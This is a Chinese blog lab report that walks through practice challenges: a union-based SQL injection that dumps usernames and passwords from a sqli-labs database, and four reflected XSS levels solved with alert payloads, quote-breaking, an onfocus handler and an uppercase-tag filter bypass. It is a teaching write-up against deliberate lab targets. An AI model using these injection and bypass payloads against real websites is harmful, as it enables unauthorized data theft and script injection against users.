实验五：常见WEB漏洞挖掘与利用

最新推荐文章于 2024-07-01 15:52:56 发布
最新推荐文章于 2024-07-01 15:52:56 发布
阅读量1.9k 收藏 17
点赞数 1
分类专栏： 大学实践作业 文章标签： 数据库 python html web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kelxLZ/article/details/116719114
版权
  • Author：ZERO-A-ONE
  • Date：2021-05-11

一、实验题目

1.1 SQL注入

目标：通过SQL注入拿到flag

https://sqli.littlefisher.me/Less-1/?id=1

1.2 XSS注入

目标：通过构造xss语句进行弹窗

题目一

http://test.ctf8.com/level1.php?name=test

题目二

http://test.ctf8.com/level2.php?keyword=test

题目三

http://test.ctf8.com/level3.php?keyword=test

题目四

http://test.ctf8.com/level6.php?keyword=test

二、实验原理

SQL是结构化查询语言的简称，目前几乎所有的Web应用在后台都使用某种SQL数据库来存放应用程序数据，当用户访问动态页面时，Web应用会根据用户的输入生成动态SQL语句提交给后台数据库，如果用户数据是一个（恶意）的SQL命令，而Web 应用又未对用户输入进行合法性检查，那么远程用户就有可能在数据库上执行任意命令，例如绕过认证登录网站后台，借助数据库的存储过程进行提权等操作。

由于用户输入数据会使用以下三种方式提交给后台数据库：

GET请求：该请求在URL中发送参数。

POST请求：数据被包含在HTML的请求报文的实体体中。

其他请求：HTTP请求的HEAD 方法、PUT方法等。

因此寻找SQL注入漏洞有一种很简单的方法：通过发送特殊的数据来触发异常。阅读参考链接学习如何构造特殊数据测试目标网页是否存在SQL注入漏洞。

跨站脚本攻击(XSS)通常是指攻击者利用网页开发时留下的漏洞，注入恶意指令代码到网页，使用户加载并执行这些恶意代码。恶意代码通常是JavaScript，也可以包括VBScript、ActiveX、 Flash 或者HTML代码。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页信息、会话和cookie等各种内容。

反射型跨站脚本（Reflected Cross-Site Scripting）是最常见，也是使用最广的跨站脚本攻击。攻击者通过特定手法（如电子邮件），诱使用户去访问一个包含恶意代码的 URL，当受害者点击这些专门设计的链接时，恶意代码会附加在请求的URL中，作为参数提交到服务器，服务器解析该请求，然后将包含恶意代码的响应返回给用户，最后用户浏览器解析此响应并执行恶意代码。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方，常用来窃取客户端 Cookies 或进行钓鱼欺骗。

持久型跨站脚本（Persistent Cross-Site Scripting）等同于存储型跨站脚本（Stored Cross-Site Scripting）。攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。

一般意义上的XSS通常可以用简单的方法检测出来：当用户输入的某个参数的全部或其中一部分，原封不动地在服务器返回页面的源代码里出现时，我们就可以认为这个页面存在XSS漏洞。

因为HTML是一种超文本标记语言，通过将一些字符特殊对待以区别文本和标记，例如，小于符号（<）被看作是HTML标签的开始，<title>与</title>之间的字符是页面的标题等等。当动态页面的内容含有这些特殊字符（如<）时，用户浏览器会将其误认为是插入了HTML标签，而如果这些HTML标签中引入了一段脚本（JavaScript、VBScript等）时，这些脚本程序就会在用户浏览器中执行。

常见的可以自动触发脚本代码的HTML标签（如<scirpt>、<img>、<input>、<details>等）对应XSS攻击方法，见参考链接。

三、解题过程

3.1 SQL注入

打开网址可以看到
在这里插入图片描述

添加id=1正常，id=1’ 报错，根据报错信息可以看出来，输入的内容被单引号括住了
在这里插入图片描述

阅读一下网页源代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<!--user: flag -->
<font size='5' color= '#99FF00'>Your Login name:Dumb<br>Your Password:Dumb</font></font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

发现提示<!--user: flag -->，根据提示构造Payload爆出所有的用户名和密码从而拿到flag

https://sqli.littlefisher.me/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(password)%20from%20security.users)%20,(select%20group_concat(username)%20from%20security.users)%20--+

在这里插入图片描述

3.2 XSS注入

3.2.1 题目一

访问页面获得如下图所示
在这里插入图片描述

进去首先可以看到，没有任何的输入点，而页面上有一个test（用户名），url中也有一个name参数，猜测是将url中的name获取到的值，直接放入页面导致了xss，我们可以先试一下，看看页面上的值会不会根据name参数得到的值而改变
在这里插入图片描述

可以发现的确会产生影响

查看网页源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

可以发现有一个alert的方法，alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

可以发现只要触发一下alert()方法即可完成任务，可获得Payload

http://test.ctf8.com/level1.php?name=<script>alert('syc')</script>

执行后显示
在这里插入图片描述

这个题目的意思就是因为网页没有对输入进行过滤，可直接给变量name进行赋值，而我们给name修改为了去执行alert()方法

3.2.2 题目二

这个时候就来到了题目二
在这里插入图片描述

老样子先查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

先找到可疑的点，当我们改变唯一输入点的时候，页面有两处随之改变
在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和syc相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="syc">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>

尝试之前的攻击手法，没有任何反应
在这里插入图片描述

查看一下此时的网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert('syc')</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

观察两者的不同

<script>alert('syc')</script>

<h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>

可以发现<script>变成了&lt;script&gt;，在这里已经被转义了，放弃利用，这时候我们看到显示文字区域过滤了<>，但是input没有过滤，没有利用成功的原因是没有闭合引号和尖括号

<input name=keyword  value="<script>alert('syc')</script>">

至此我们可以构造我们的Payload了

"><script>alert('syc')</script>

在这里插入图片描述

3.2.3 题目三

进入题目三
在这里插入图片描述

查看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

老样子先试一下原来的payload
在这里插入图片描述

观察一下源代码，我们可以发现原来的两处<>均被转义，所以不能再利用标签

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert('syc')&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

<script>alert('syc')</script>

&lt;script&gt;alert('syc')&lt;/script&gt;

然后这里如果使用第二题的Payload，则还可以发现"也被完成了转义

"><script>alert('syc')</script>

<input name=keyword  value='&quot;&gt;&lt;script&gt;alert('syc')&lt;/script&gt;'>

那可以考虑给给input加一个onfocus事件，当 input 输入框获取焦点时执行一段 Javascript代码，我们就直接在标签内加载js，可选比如说onclick，onfocus等。之后测试发现对于等号后面参数会自动添上""，再就是后面多了一个’，我们需要使用//注释掉

' οnfοcus=alert('syc')//

在这里插入图片描述

3.2.4 题目四

于是我们顺利来到了题目四
在这里插入图片描述

经过多次尝试，href，src，data这些关键字都加下划线了，script、onclick、href都被过滤了，最后得知有一种手法叫大小写过滤

构造Payload可得

"> <SCRIPT>alert('syc')</SCRIPT>

在这里插入图片描述

四、实验目的

  • 了解SQL注入攻击原理、了解寻找及确认SQL注入点的方法
  • 了解XSS的定义，反射型XSS、存储型XSS的区别，常见的XSS攻击手法
  • 了解XSS的过滤原理以及常见的XSS绕过技术

五、参考资料

  • https://paper.seebug.org/15/
  • https://blog.csdn.net/xuchen16/article/details/82785371
  • https://blog.csdn.net/qq_34638225/article/details/81269281
  • https://xz.aliyun.com/t/4067
  • https://xz.aliyun.com/t/2936#toc-12
ZERO-A-ONE
关注
  • 1
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
Web漏洞的挖掘与利用
weixin_53872203的博客
04-04 4840
本文章仅供学习分享使用，不做任何违法行为！！！ 一.漏洞的挖掘 sql注入漏洞： 判断一个网站是否存在一个sql注入的漏洞?Id=1 如果判断出来存在sql注入漏洞，则进判断sql注入的闭合字符 ?id=1’and 1=1 ?id=1’and 1=2 判断列数 ，采用二分法进行判断 order by 10 判断显示位,假设显示位为3，则order by 1,2,3 爆数据库，在爆数据库的前提下，爆一下网站的版本 Order by 1，database(),version() 爆表名 gr...
Unicode的规范化相关漏洞挖掘思路实操1
08-03
Unicode规范化是Unicode编码体系中的一个重要概念，其目的是确保不同编码方式下的字符都能被正确解析和显示。...作为开发人员或安全从业者，我们需要时刻关注这些潜在的漏洞利用方式，以提升系统的安全性。
WEB漏洞挖掘技术
热门推荐
龙哥盟
02-19 4万+
前言漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.在针对ELF文件 PE文件(.exe与.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单
【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全）
最新发布
2401_85773496的博客
07-01 974
一、测试WebSockets安全漏洞1、网络套接字2、HTTP和WebSockets区别3、建立WebSocket连接4、WebSocket消息外观二、操纵WebSocket流量1、简述：2、拦截和修改WebSocket消息3、重放和生成新的WebSocket消息4、操作WebSocket连接5、WebSockets安全漏洞6、操纵WebSocket消息以利用漏洞实验1：操纵WebSocket消息以利用漏洞7、操纵WebSocket握手以利用漏洞。
web应用漏洞挖掘技术
赵加美的专栏
07-30 404
单位组织的web应用漏洞挖掘技术的讲座，刚好之前工作接触过SQL注入和文件处理漏洞攻击的相关内容，所以对这方面稍微有点儿了解，也想通过讲座学习一下别人的想法和分享的知识。简单记录一下讲座内容。 图自网络 web发展趋势1、web1.0时代：门户网站时代，1989年-2000年，11年的时间2、web2.0时代：用户创造时代，从2001年开始算起。前...
Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)
王陈锋的博客
11-07 3499
借助Web漏洞教学和演练的开源工具DVWA，学习并了解Web漏洞（以SQL注入为例）的原理及利用，验证SQL注入漏洞的实现过程及结果，并思考应对web漏洞风险的策略与手段。1、操作系统：windows 7/8/10等2、开发环境：DVWA。
WEB漏洞检测与挖掘
过程
07-26 1324
XSS漏洞挖掘： 1、url参数，可以设想该参数是以怎么样的形式表现在页面，然后进行注入     如：a = b , b的值可以任意， 在页面中可能之间就显示a，这时候它    的值如果有注入问题就出现了。    url参数黑色可以五花八门，    所以请注意了， 注意好所有是字符串类型的参数，这种参数往往容易存在这种url参数的注入问题。 待续..........
漫谈AOSP蓝牙漏洞挖掘技术.pdf
01-07
韩子诺在Android安全、IoT安全和车联网安全领域有着深厚的背景，拥有超过六年的二进制漏洞挖掘与利用经验，并在多个国际会议上发表过技术演讲。 AOSP的蓝牙协议栈经历了多次演变，从早期基于Linux默认的BlueZ，到...
Free_for_All!_Assessing_User_Data_Exposure_to_Advertising_Lib
09-10
实验结果表明，Pluto框架能够有效地分析in-app和out-app的数据泄露风险，为开发者和安全研究人员提供了一个评估工具，以识别和防止用户数据通过广告库被不当利用。 总结来说，这篇论文揭示了Android广告库可能存在...
SRC漏洞挖掘实战经验总结
10-28
最近几年总结收集的SRC漏洞挖掘实战经验，希望对你有帮助。
实战web漏洞挖掘小技巧
yggcwhat
12-08 1056
实战web漏洞挖掘小技巧
网站漏洞挖掘思路
qq_53058639的博客
03-14 587
未授权访问未授权访问漏洞，是在攻击者没有获取到登录权限或未授权的情况下，不需要输入密码，即可通过输入网站控制台主页面地址或者不允许查看的连接便可进行访问，同时进行操作。sql注入、万能密码我们在用户名中输入'or 1=1#，密码随意。就变成了select name.passwd from users where username='' or 1=1#’ and password=。
Web类漏洞实战入门
weixin_42539095的博客
12-11 443
环境 Web类漏洞原理相比于二进制较为简单，在学习这一部分内容的时候建议以实战的方式进行，这样会比较有趣一些。 我们可以到网上下载一些安全产品，比如安全狗之类的。然后在本地虚拟机中搭建一个漏洞环境，以验证产品防护效果的方式去进行学习，然后尝试各种不同的攻击手法。 1.下载安全狗并安装:http://www.safedog.cn/登录官网，然后申请试用，之后在我们搭建完漏洞环境之后就可以用它来查看防护效果了 2.安装JSPstudy http://www.phpstudy.net/ 3.下载漏洞环境并安装
Web安全测试中常见逻辑漏洞解析（实战篇）(文末有CSDN独家福利！)
m0_71744960的博客
06-30 483
越权漏洞是比较常见的漏洞类型，越权漏洞可以理解为，一个正常的用户A通常只能够对自己的一些信息进行增删改查，但是由于程序员的一时疏忽，对信息进行增删改查的时候没有进行一个判断，判断所需要操作的信息是否属于对应的用户，导致用户A可以操作其他人的信息。
web漏洞挖掘
m0_75259608的博客
12-09 964
漏洞挖掘
WEB漏洞挖掘——思路指南
lmf_goste的博客
12-30 8434
本篇主要记录了WEB漏洞挖掘过程中的信息收集部分，web渗透最重要的便是信息收集，希望以下内容能够给予在漏洞挖掘中迷茫的小伙伴一些帮助。 目录 信息收集 子域名 注意是否存在WAF 工具类 边缘资产 ICP备案查询 敏感信息收集 信息收集 信息收集的目的是为了更多的收集目标资产，扩大我们的渗透范围。WEB漏洞更多的存在于一些边缘资产和隐蔽的资产中。 子域名 在其他信息收集的过程中也可以先将域名放到文本中，最后进行去重 注意是否存在WAF 若检测存在WAF，扫描时需要降..
我的一些实战的漏洞挖掘过程（一）
Ba1_Ma0的博客
04-25 1786
最近挖到的漏洞，在这里分享一下，有些信息比较敏感就打码处理，目标网站都换为target.com。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值